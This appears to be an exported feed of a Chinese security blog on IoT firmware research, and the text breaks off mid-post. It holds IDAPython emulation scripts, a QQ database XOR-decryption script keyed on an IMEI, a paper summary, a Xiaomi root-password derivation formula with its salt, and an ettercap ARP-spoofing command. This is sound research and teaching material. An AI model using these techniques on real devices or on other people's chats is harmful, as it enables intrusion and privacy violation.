<li > libnvram在data段存储了设备的默认nvram配置, <strong > 数据段</strong> ( data segment) 通常是指用来存放<a href= "https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F" target= "_blank" rel= "noopener" > 程序</a> 中已<a href= "https://zh.wikipedia.org/w/index.php?title=%E5%88%9D%E5%A7%8B%E5%8C%96%E4%B8%94%E4%B8%8D%E4%B8%BA0&action=edit&redlink=1" target= "_blank" rel= "noopener" > 初始化且不为0</a> 的<a href= "https://zh.wikipedia.org/wiki/%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F" target= "_blank" rel= "noopener" > 全局变量</a> 的一块内存区域。数据段属于<a href= "https://zh.wikipedia.org/wiki/%E9%9D%99%E6%80%81%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D" target= "_blank" rel= "noopener" > 静态内存分配</a> 。</li>
</ul>
<p > 于是根据这两个事实做了两个实验:</p>
<h2 id= "match函数" > <a href= "#match函数" class= "headerlink" title= "match函数" > </a> match函数</h2> <p > 该函数的逻辑如下, a1为要查询的key, a2为待比较的对应value, 调用nvram_get获得nvram中a1的value, 然后和a2比较, 相同的话返回1。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > const char *__fastcall acosNvramConfig_match(int a1, const char *a2)</span> <br > <span class= "line" > { </span> <br > <span class= "line" > const char *v2; // r4</span> <br > <span class= "line" > const char *result; // r0</span> <br > <span class= "line" > int v4; // [sp+0h] [bp-1008h]</span> <br > <span class= "line" > </span> <br > <span class= "line" > v2 = a2;</span> <br > <span class= "line" > result = (const char *)j_nvram_get(a1, & v4, 4096);</span> <br > <span class= "line" > if ( result )</span> <br > <span class= "line" > result = (const char *)(strcmp(result, v2) == 0);</span> <br > <span class= "line" > return result;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
<p > 在upnp二进制程序汇编代码中, 调用acosNvramConfig_match来比较nvram<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610094619/nvram/image_24.png" a l t > <br > 我做出了一个假设: 所有a2都是能够使程序正常运行的nvram值, 现在想要获取它。编写IDA脚本如下: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > def GetAddr(func_name):</span> <br > <span class= "line" > func_list = Functions()</span> <br > <span class= "line" > for func in func_list:</span> <br > <span class= "line" > name = GetFunctionName(func)</span> <br > <span class= "line" > if func_name == name:</span> <br > <span class= "line" > print(name,hex(func))</span> <br > <span class= "line" > func_addr=func</span> <br > <span class= "line" > return func_addr</span> <br > <span class= "line" > </span> <br > <span class= "line" > func_addr = GetAddr(' acosNvramConfig_match' )</span> <br > <span class= "line" > #func_addr=0xa3d4</span> <br > <span class= "line" > </span> <br > <span class= "line" > for x in XrefsTo(func_addr,flags=0):</span> <br > <span class= "line" > print " XrefsTo nvram-match func addr: %s" %hex(x.frm)</span> <br > <span class= "line" > match_addr = x.frm</span> <br > <span class= "line" > val_addr = PrevHead(match_addr)</span> <br > <span class= "line" > key_addr = PrevHead(val_addr)</span> <br > <span class= "line" > if GetMnem(key_addr) == ' LDR' :</span> <br > <span class= "line" > instr = GetDisasm(prevaddr)</span> <br > <span class= "line" > #print(' LDR instruction: %s' %instr)</span> <br > <span class= "line" > addr = GetOperandValue(key_addr,1)</span> <br > <span class= "line" > key = GetString(Dword(addr))</span> <br > <span class= "line" > print(' nvram key: %s' %key)</span> <br > <span class= "line" > if GetMnem(val_addr) == ' LDR' :</span> <br > <span class= "line" > instr = GetDisasm(prevaddr)</span> <br > <span class= "line" > #print(' LDR instruction: %s' %instr)</span> <br > <span class= "line" > addr = GetOperandValue(val_addr,1)</span> <br > <span class= "line" > val = GetString(Dword(addr))</span> <br > <span class= "line" > print(' nvram value: %s' %val)</span> <br > </pre> </td> </tr> </table> </figure>
<ol >
<li > GetAddr(func_name) 根据函数名获得地址, 这里获得了’ acosNvramConfig_match’ 的地址0xa3d4; </li>
<li > 找到所有引用过该函数的地址, 并且提取作为参数的数据。获取到函数的引用非常的简单, 只需要使用XrefsTo()这个API函数就能达到我们的目的。</li>
<li > value是调用match函数的前一条指令; key是调用match函数的前两条指令; 操作码都是LDR;</li>
<li > 使用GetOperandValue() 这个指令得到第二个操作数的值。注意该值存放的是“存放字符串地址”的地址</li>
<li > 使用Dword(addr)获取“存放字符串地址”, 使用GetString()这个API函数从该偏移提取字符串</li>
</ol>
<p > 粘贴部分结果,有大量的重复,还有许多键值不存在,假设不成立。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > (' acosNvramConfig_match' , ' 0xa3d4L' )</span> <br > <span class= "line" > XrefsTo nvram-match func addr: 0xc940L</span> <br > <span class= "line" > nvram key: qos_bw_set_sel</span> <br > <span class= "line" > nvram value: 1</span> <br > <span class= "line" > XrefsTo nvram-match func addr: 0xc9b4L</span> <br > <span class= "line" > nvram key: qos_bw_enable</span> <br > <span class= "line" > nvram value: 1</span> <br > <span class= "line" > XrefsTo nvram-match func addr: 0xfbd0L</span> <br > <span class= "line" > nvram key: wlg_band</span> <br > <span class= "line" > nvram value: 2.4G</span> <br > <span class= "line" > XrefsTo nvram-match func addr: 0xfc84L</span> <br > <span class= "line" > nvram value: 5G</span> <br > <span class= "line" > XrefsTo nvram-match func addr: 0xff70L</span> <br > <span class= "line" > nvram key: wlg_band</span> <br > <span class= "line" > nvram value: 2.4G</span> <br > <span class= "line" > nvram value: static</span> <br > <span class= "line" > XrefsTo nvram-match func addr: 0x13d2cL</span> <br > <span class= "line" > nvram key: board_id</span> <br > <span class= "line" > nvram value: U12H127T00_NETGEAR</span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "NVRAM默认配置" > <a href= "#NVRAM默认配置" class= "headerlink" title= "NVRAM默认配置" > </a> NVRAM默认配置</h2> <p > 如上所述, libnvram.so中data段存放着默认配置<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610094620/nvram/image_23.png" a l t > <br > 利用IDApython获取该区域存放的键值, 注意: 该区域并不存放字符串, 而是存放“存放字符串地址处”的地址, 所以也要通过Doword来获取实际地址</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > import idautils</span> <br > <span class= "line" > for seg in idautils.Segments():</span> <br > <span class= "line" > if SegName(seg) == ' .data' :</span> <br > <span class= "line" > start = idc.SegStart(seg)</span> <br > <span class= "line" > end = idc.SegEnd(seg)</span> <br > <span class= "line" > print idc.SegName(seg),start,end</span> <br > <span class= "line" > while(start!=end):</span> <br > <span class= "line" > key = GetString(Dword(start))</span> <br > <span class= "line" > if key != None and key != ' 0' :</span> <br > <span class= "line" > start += 4</span> <br > <span class= "line" > val = GetString(Dword(start))</span> <br > <span class= "line" > if ' upnp' in key:</span> <br > <span class= "line" > print(' %s=%s' %(key,val))</span> <br > <span class= "line" > start += 4</span> <br > </pre> </td> </tr> </table> </figure>
<p > 这里我们只关注有upnp特征的键值对</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > .data [77868 94004](tel:7786894004)</span> <br > <span class= "line" > upnp_enable=1</span> <br > <span class= "line" > upnp_turn_on=1</span> <br > <span class= "line" > upnp_advert_period=30</span> <br > <span class= "line" > upnp_advert_ttl=4</span> <br > <span class= "line" > upnp_portmap_entry=0</span> <br > <span class= "line" > upnp_duration=3600</span> <br > <span class= "line" > upnp_DHCPServerConfigurable=1</span> <br > </pre> </td> </tr> </table> </figure>
<p > 另外再补充几个与网络有关的配置</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > friendly_name=Netgear</span> <br > <span class= "line" > lan_hwaddr=AA:BB:CC:DD:EE:FF</span> <br > <span class= "line" > lan_ipaddr=192.168.2.2</span> <br > </pre> </td> </tr> </table> </figure>
<p > 使用这个配置成功仿真~</p>
<h2 id= "一些IDApython使用方法" > <a href= "#一些IDApython使用方法" class= "headerlink" title= "一些IDApython使用方法" > </a> 一些IDApython使用方法</h2> <p > 蒸米写的:<a href= "https://wooyun.js.org/drops/IDAPython%20%E8%AE%A9%E4%BD%A0%E7%9A%84%E7%94%9F%E6%B4%BB%E6%9B%B4%E6%BB%8B%E6%B6%A6%20part1%20and%20part2.html" target= "_blank" rel= "noopener" > https://wooyun.js.org/drops/IDAPython%20%E8%AE%A9%E4%BD%A0%E7%9A%84%E7%94%9F%E6%B4%BB%E6%9B%B4%E6%BB%8B%E6%B6%A6%20part1%20and%20part2.html</a> <br > <a href= "https://cartermgj.github.io/2017/10/10/ida-python/" target= "_blank" rel= "noopener" > https://cartermgj.github.io/2017/10/10/ida-python/</a> <br > <a href= "https://gitee.com/it-ebooks/it-ebooks-2018-04to07/raw/master/IDAPython%20%E5%88%9D%E5%AD%A6%E8%80%85%E6%8C%87%E5%8D%97.pdf" target= "_blank" rel= "noopener" > https://gitee.com/it-ebooks/it-ebooks-2018-04to07/raw/master/IDAPython%20%E5%88%9D%E5%AD%A6%E8%80%85%E6%8C%87%E5%8D%97.pdf</a> <br > <a href= "https://www.0xaa55.com/thread-1586-1-1.html" target= "_blank" rel= "noopener" > https://www.0xaa55.com/thread-1586-1-1.html</a> <br > <a href= "https://wizardforcel.gitbooks.io/grey-hat-python/content/43.html" target= "_blank" rel= "noopener" > https://wizardforcel.gitbooks.io/grey-hat-python/content/43.html</a> </p>
]]></content>
2019-07-25 14:22:59 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > IOT</category>
2019-07-25 14:22:59 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > UPnP</tag>
<tag > 固件模拟</tag>
<tag > Netgear</tag>
<tag > NVRAM</tag>
</tags>
</entry>
<entry >
<title > QQ数据库的加密与解密</title>
<url > /2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/</url>
<content > <![CDATA[<h1 id="qq数据库采用简单加密——异或加密"> <a href= "#qq数据库采用简单加密——异或加密" class= "headerlink" title= "qq数据库采用简单加密——异或加密" > </a> qq数据库采用简单加密——异或加密</h1> <h2 id= "数据获取:" > <a href= "#数据获取:" class= "headerlink" title= "数据获取:" > </a> 数据获取:</h2> <p > DENGTA_META.xml—IMEI:867179032952446<br > databases/2685371834.db——数据库文件</p>
<h2 id= "解密方式:" > <a href= "#解密方式:" class= "headerlink" title= "解密方式:" > </a> 解密方式:</h2> <p > 明文msg_t 密文msg_Data key: IMEI<br > msg_t = msg_Data[i]^IMEI[i%15]</p>
<h2 id= "实验:" > <a href= "#实验:" class= "headerlink" title= "实验:" > </a> 实验:</h2> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > import sqlite3</span> <br > <span class= "line" > </span> <br > <span class= "line" > IMEI = ' 867179032952446' </span> <br > <span class= "line" > conn = sqlite3.connect(' 2685371834.db' )</span> <br > <span class= "line" > c = conn.cursor()</span> <br > <span class= "line" > </span> <br > <span class= "line" > def _decrypt(foo):</span> <br > <span class= "line" > substr = ' ' </span> <br > <span class= "line" > #print(len(foo))</span> <br > <span class= "line" > for i in range(0,len(foo)):</span> <br > <span class= "line" > substr += chr(ord(foo[i]) ^ ord(IMEI[i%15]))</span> <br > <span class= "line" > return substr</span> <br > <span class= "line" > </span> <br > <span class= "line" > #rem = c.execute(" SELECT uin, remark, name FROM Friends" )</span> <br > <span class= "line" > Msg = c.execute(" SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New" )</span> <br > <span class= "line" > </span> <br > <span class= "line" > for msg in Msg:</span> <br > <span class= "line" > uid = _decrypt(msg[1])</span> <br > <span class= "line" > print(" \n" +uid+" :" )</span> <br > <span class= "line" > try:</span> <br > <span class= "line" > msgData = _decrypt(msg[0]).decode(' utf-8' )</span> <br > <span class= "line" > print(msgData)</span> <br > <span class= "line" > except:</span> <br > <span class= "line" > pass</span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "结果" > <a href= "#结果" class= "headerlink" title= "结果" > </a> 结果</h2> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1552728077/qq.png" a l t > </p>
]]></content>
2021-04-10 10:53:27 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 加密解密</category>
2021-04-10 10:53:27 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 密码</tag>
<tag > QQ</tag>
<tag > 数据库</tag>
</tags>
</entry>
<entry >
<title > 基于采集规则引擎的物联网设备发现方法</title>
<url > /2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/</url>
<content > <![CDATA[<p> <strong > <em > 论文来源:</em> </strong> USENIX SECURITY 2018: Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices<br > <strong > <em > 下载:</em> </strong> <br > <a href= "https://www.usenix.org/conference/usenixsecurity18/presentation/feng" target= "_blank" rel= "noopener" > 原文pdf</a> <br > <a href= "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553314438/ARE/Rule-based_engine.pptx" target= "_blank" rel= "noopener" > 中文slides</a> </p>
<h2 id= "论文解读" > <a href= "#论文解读" class= "headerlink" title= "论文解读" > </a> 论文解读</h2> <h3 id= "概要:" > <a href= "#概要:" class= "headerlink" title= "概要:" > </a> 概要:</h3> <ul >
<li > 物联网( IoT) 设备的快速增长的格局为其管理和安全性带来了重大的技术挑战, 因为这些物联网设备来自不同的设备类型, 供应商和产品模型。</li>
<li > 物联网设备的发现是表征,监控和保护这些设备的先决条件。然而,手动设备注释阻碍了大规模发现,并且基于机器学习的设备分类需要具有标签的大型训练数据。因此,大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。</li>
<li > 这篇文章提出了一种基于采集规则的引擎( ARE) , 它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则, 以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。</li>
<li > 为了收集交易集, ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以( 类型, 供应商和产品) 的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。</li>
</ul>
<h3 id= "背景与动机:" > <a href= "#背景与动机:" class= "headerlink" title= "背景与动机:" > </a> 背景与动机:</h3> <ul >
<li > 物联网蓬勃发展, 造就了物联网设备的广泛应用, 它不仅种类繁多, 包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等, 而且数量庞大, 据统计, 每天就会新增5500000台物联网设备。</li>
<li > 但是由于设备脆弱、缺乏管理和配置不当, 物联网设备相比传统计算机要更不安全, 比如之前爆发的Mirai僵尸网络, 给美国造成了重大的损失。因此, 为了更主动地保护IOT设备, 提前发现、登记和注释物联网设备成为先决条件。</li>
<li > 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”,传统生成设备注释的方法有基于指纹的,也有使用标志获取的,前者对数据集和大量设备模型的要求很高,而后者需要专业知识的人工方式,因此不可能用于大规模注释而且很难去维护更新。</li>
</ul>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313806/ARE/1.png" a l t > </p>
<p > 所以, 作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实, 第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备, 第二个Figure 2是有许多网站( 如产品测评) 会描述设备产品。从第一个事实, 我们可以从应用层数据包获取关键词, 然后根据这些关键词依据第二个事实进行网页爬虫, 以获取网页上的相关描述, 然后对这些描述进行自然语言处理和数据挖掘, 从而建立起基于规则的映射。</p>
<h3 id= "核心工作—Rule-Miner: " > <a href= "#核心工作—Rule-Miner: " class= "headerlink" title= "核心工作—Rule Miner: " > </a> 核心工作—Rule Miner: </h3> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313904/ARE/2.png" a l t > </p>
<p > Rule Miner由三个部分构成, Transaction set是一对由应用层数据和相关网页组成的文本单元, 它生成了一种规则: , 其中A是从应用层数据包中提取的一些特征, B是从相关网页抓取的设备描述; Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别),前者解决了设备类型和供应商名,后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch), 以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好, 但好在实体与实体之间具有很高的依赖性, 这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。</p>
<h3 id= "完整架构和应用" > <a href= "#完整架构和应用" class= "headerlink" title= "完整架构和应用" > </a> 完整架构和应用</h3> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313904/ARE/4.png" a l t > </p>
<p > 完整的ARE除了核心Rule Miner之外, 还有Transaction Collection用于收集响应数据和网络爬虫, Rule Library用于存储生成的规则, Planner用于更新规则。<br > 作者主要将ARE应用于三个方面, 一是互联网范围的设备测量统计, 二是对受损设备进行检测, 三是对易受攻击的设备进行分析。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313946/ARE/6.png" a l t > <br > 之后对ARE的效果与Nmap进行比较和评估, 从产生规则的数量、规则的准确率和覆盖率、动态学习规则的能力以及时间代价, ARE都要优于Nmap。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313805/ARE/5.png" a l t > </p>
<h3 id= "工作总结:" > <a href= "#工作总结:" class= "headerlink" title= "工作总结:" > </a> 工作总结:</h3> <ul >
<li > 提出ARE的框架: 不需要数据集和人工干预, 自动生成用于IOT设备识别的规则。</li>
<li > 实现了ARE的原型并评估了它的效果: ARE在一周内生成了大量的规则, 而且IOT设备识别的细粒度超过现有工具。</li>
<li > 应用于三个场景中, 主要发现有: 大量IOT设备在互联网中可以抵达; 成千上万的IOT设备易受攻击且暴露给了公众。</li>
</ul>
]]></content>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 顶会论文</category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > USENIX</tag>
<tag > 数据挖掘</tag>
<tag > 自然语言处理</tag>
</tags>
</entry>
<entry >
<title > 小米固件工具mkxqimage</title>
<url > /2019/03/16/%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage/</url>
<content > <![CDATA[<h1 id="小米固件工具mkxqimage"> <a href= "#小米固件工具mkxqimage" class= "headerlink" title= "小米固件工具mkxqimage" > </a> 小米固件工具mkxqimage</h1> <p > 小米自己改了个打包解包固件的工具,基于 trx 改的(本质上还是 trx 格式),加了 RSA 验证和解包功能,路由系统里自带:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > Usage:</span> <br > <span class= "line" > mkxqimg [-o outfile] [-p private_key] [-f file] [-f file [-f file [-f file ]]]</span> <br > <span class= "line" > [-x file]</span> <br > <span class= "line" > [-I]</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h2 id= "固件打包" > <a href= "#固件打包" class= "headerlink" title= "固件打包" > </a> 固件打包</h2> <p > 小米官方在打包固件时用RSA私钥计算出固件的RSA签名, 小米路由器下载固件后用RSA公钥来验证RSA签名, 有效地防止固件被篡改。</p>
<h2 id= "固件解包" > <a href= "#固件解包" class= "headerlink" title= "固件解包" > </a> 固件解包</h2> <p > 固件工具mkxqimage完成对固件的解包, 在解包前先检查Checksum是否正确, 然后利用RSA公钥/usr/share/xiaoqiang/public.pem检查RSA签名, 这两个步骤通过后, 根据[0x0C]的固件类型,以及[0x10]、[0x14]、[0x18]和[0x1C]的4个偏移量拆分固件。</p>
<h2 id= "固件更新签名校验" > <a href= "#固件更新签名校验" class= "headerlink" title= "固件更新签名校验" > </a> 固件更新签名校验</h2> <p > 小米路由器进行固件更新时同样会进行签名校验,文件/usr/share/xiaoqiang/public.pem是它的公钥, 用来校验签名正确与否。正因为这样, 黑客如果想在不拆机的前提下刷入已植入木马的固件, 只有两条路可走, 一是通过入侵、社工或破解得到对应的私钥, 然后对修改后的固件进行签名再刷入; 二是通过漏洞, 挖掘新的漏洞或者刷入有漏洞的旧版固件, 然后再通过漏洞利用得到root shell进而刷入任意固件。一般来讲, 第一条路是很难的, 而为了堵住第二条路, 可以通过限制降级来实现。</p>
<p > 由此可见,在限制降级的前提下,在固件更新时进行签名校验,能有效地防止路由器被植入木马。</p>
<h2 id= "固件格式" > <a href= "#固件格式" class= "headerlink" title= "固件格式" > </a> <a href= "http://www.iptvfans.cn/wiki/index.php/%E5%B0%8F%E7%B1%B3%E8%B7%AF%E7%94%B1%E5%99%A8%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90" target= "_blank" rel= "noopener" > 固件格式</a> </h2> <p > 路由固件的格式,基本是基于 openwrt 的 trx 这个简单的二进制文件格式<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 48 44 52 30 63 D4 11 03 FE 3D 1A FD 05 00 02 00</span> <br > <span class= "line" > 20 00 00 00 20 00 FE 00 00 00 00 00 00 00 00 00</span> <br > <span class= "line" > FF 04 00 EA 14 F0 9F E5 14 F0 9F E5 14 F0 9F E5</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 第1~ 4字节: ASCII字符串“HDR0”, 作为固件的标识; <br > 第5~ 8字节: 4字节整型数0x0311D464, 表示固件的大小: 51500132字节; <br > 第9~12字节: 固件的检查和; <br > 第13~ 14字节: 0x0005, 表示固件中包含哪些部分; <br > 第15~ 16字节: 0x0002, 表示固件格式版本号; <br > 第17~ 20字节: 0x00000020, 表示固件第一部分在整个固件中的偏移量, 0.4.85固件的第一部分是brcm4709_nor.bin, 也就是Flash中除0xfe0000-0xff0000的board_data外的全镜像; <br > 第21~ 24字节: 0x00FE0020, 表示固件第二部分在整个固件中的偏移量, 0.4.85固件的第二部分是root.ext4.lzma, 也就是硬盘中128M固件的压缩包; <br > 第33字节开始是固件的正式内容开始。</p>
<h2 id= "小米开启ssh工具包" > <a href= "#小米开启ssh工具包" class= "headerlink" title= "小米开启ssh工具包" > </a> 小米开启ssh工具包</h2> <p > 使用mkxqimage解包<br > (现在会提示秘钥不存在)<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > error fopen public key</span> <br > <span class= "line" > Image verify failed, not formal image</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 如果能解包应该可以得到脚本文件upsetting.sh</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > #!/bin/sh</span> <br > <span class= "line" > nvram set ssh_en=1</span> <br > <span class= "line" > nvram set flag_init_root_pwd=1</span> <br > <span class= "line" > nvram commit</span> <br > </pre> </td> </tr> </table> </figure>
<p > 执行脚本文件upsetting.sh后, 将ssh_en设置为1, 同时设置了flag_init_root_pwd项。当正式启动时, /usr/sbin/boot_check脚本检测到flag_init_root_pwd=1时, 自动修改root用户密码, 具体脚本为: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > flg_init_pwd=`nvram get flag_init_root_pwd`</span> <br > <span class= "line" > if [ " $flg_init_pwd" = " 1" ]; then</span> <br > <span class= "line" > init_pwd=`mkxqimage -I`</span> <br > <span class= "line" > (echo $init_pwd; sleep 1; echo $init_pwd) | passwd root</span> <br > <span class= "line" > nvram unset flag_init_root_pwd</span> <br > <span class= "line" > nvram commit</span> <br > <span class= "line" > fi</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 初始密码是mkxqimage -I的结果, 实际是根据路由器的序列号计算得到。路由器的序列号印在底盖上, 12位数字, 如: 561000088888</p>
<p > 初始密码计算算法为:</p>
<p > <code > substr(md5(SN+" A2E371B0-B34B-48A5-8C40-A7133F3B5D88" ), 0, 8)</code> </p>
<p > <strong > <em > A2E371B0-B34B-48A5-8C40-A7133F3B5D88</em> </strong> 为分析mkxqimage得到的salt</p>
]]></content>
2021-04-10 10:53:27 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > IOT</category>
2021-04-10 10:53:27 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 小米</tag>
<tag > 文件格式</tag>
<tag > SSH</tag>
</tags>
</entry>
<entry >
<title > 获取固件的几种方法</title>
<url > /2019/07/24/%E8%8E%B7%E5%8F%96%E5%9B%BA%E4%BB%B6/</url>
<content > <![CDATA[<p> 通过分析物联网设备遭受攻击的链条可以发现, 黑客获取固件, 把固件逆向成汇编或C程序语言后, 能分析出设备的运行流程和网络行为, 还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息, 他们也很难发现这些漏洞。从这一点看, 物联网设备的安全性, 在很大程度上决定于其固件的安全性。</p>
<p > <a href= "http://blog.nsfocus.net/security-analysis-of-the-firmware-of-iot/" target= "_blank" rel= "noopener" > http://blog.nsfocus.net/security-analysis-of-the-firmware-of-iot/</a> <br > <a href= "https://open.appscan.io/article-1163.html" target= "_blank" rel= "noopener" > https://open.appscan.io/article-1163.html</a> </p>
<h1 id= "官网获取或联系售后索取升级包" > <a href= "#官网获取或联系售后索取升级包" class= "headerlink" title= "官网获取或联系售后索取升级包" > </a> 官网获取或联系售后索取升级包</h1> <h1 id= "网络升级拦截" > <a href= "#网络升级拦截" class= "headerlink" title= "网络升级拦截" > </a> 网络升级拦截</h1> <p > 工具: wireshark、ettercap<br > 流程:中间人-> 开始抓包-> 在线升级-> 分析固件地址-> 下载<br > 案例: 华为路由WS5200 四核版<br > 这款路由器在网上找不到现有固件,我们尝试一下是否可以通过抓包在线升级过程获取固件。<br > 首先关闭防火墙,否则无法访问路由器的服务,无法做中间人攻击。<br > 使用ettercap进行arp欺骗, <code > sudo ettercap -Tq -i ens33 -M arp:remote /192.168.31.1// /192.168.31.134//</code> <br > 打开wireshark进行抓包。理论上说, 点击升级固件之后, wireshark就能够记录升级固件的整个过程(HTTP),但是结果却并不理想。</p>
<p > 还好华为路由器自带了抓包的功能(方便后期的调试和维护),所以直接使用这个功能抓取报文,比做中间人要直接了当得多。</p>
<p > 在点击升级固件之后, 我们可以看到大量发往58.49.156.104这个地址的报文,猜测极有可能是华为的服务器,过滤一下会看得更清楚<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1563606353/samples/1.png" a l t > <br > 可以看到在通过三次TCP握手之后, 华为路由器向服务器发送了get请求, uri就是获取固件的地址 <a href= "http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin" target= "_blank" rel= "noopener" > http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin</a> <br > 点击即可拿到最新的固件</p>
<p > 案例:小米智能门锁<br > <a href= "http://cdn.cnbj0.fds.api.mi-img.com/miio_fw/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin?GalaxyAccessKeyId=5721718224520&Expires=1566136387000&Signature=KLOrbsRANlJD7w7bKB03xI1t4/0=" target= "_blank" rel= "noopener" > http://cdn.cnbj0.fds.api.mi-img.com/miio_fw/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin?GalaxyAccessKeyId=5721718224520& Expires=1566136387000& Signature=KLOrbsRANlJD7w7bKB03xI1t4/0=</a> </p>
<p > ./storage/emulated/0/Android/data/com.xiaomi.smarthome/cache/ble/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ binwalk -Me 250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin</span> <br > <span class= "line" > </span> <br > <span class= "line" > Scan Time: 2019-07-20 20:01:40</span> <br > <span class= "line" > Target File: /home/han/ck/iot/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin</span> <br > <span class= "line" > MD5 Checksum: 250cc495d7da7643680dadeab578fce0</span> <br > <span class= "line" > Signatures: 390</span> <br > </pre> </td> </tr> </table> </figure>
<h1 id= "通过串口读取" > <a href= "#通过串口读取" class= "headerlink" title= "通过串口读取" > </a> 通过串口读取</h1> <p > 工具: uart转usb<br > 流程: 找到电路板上的uart接口( RX、TX、+5v、GND) -> 串口通信-> 拿到shell-> tar打包固件-> nc传输<br > 案例:小爱音响</p>
<h1 id= "刷开发板固件, 开启ssh服务" > <a href= "#刷开发板固件, 开启ssh服务" class= "headerlink" title= "刷开发板固件, 开启ssh服务" > </a> 刷开发板固件, 开启ssh服务</h1> <p > 有些厂商除了稳定版固件,还会提供开发版供发烧友“玩弄”。<br > 案例: 小米路由器的开发板可通过安装ssh工具包开启ssh服务<br > 流程: 开启ssh-> tar打包固件<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@XiaoQiang:/# ls</span> <br > <span class= "line" > bin data dev etc extdisks lib mnt opt overlay proc readonly rom root sbin sys tmp userdisk usr var www</span> <br > <span class= "line" > </span> <br > <span class= "line" > 压缩提示没有足够的空间</span> <br > <span class= "line" > root@XiaoQiang:/# tar -zcf bin.tar.gz bin/*</span> <br > <span class= "line" > tar: can' t open ' bin.tar.gz' : No space left on device</span> <br > <span class= "line" > </span> <br > <span class= "line" > 来看一下空间使用情况</span> <br > <span class= "line" > root@XiaoQiang:/# df -h</span> <br > <span class= "line" > Filesystem Size Used Available Use% Mounted on</span> <br > <span class= "line" > rootfs 25.9M 25.9M 0 100% /</span> <br > <span class= "line" > none 60.5M 4.5M 56.0M 7% /dev</span> <br > <span class= "line" > tmpfs 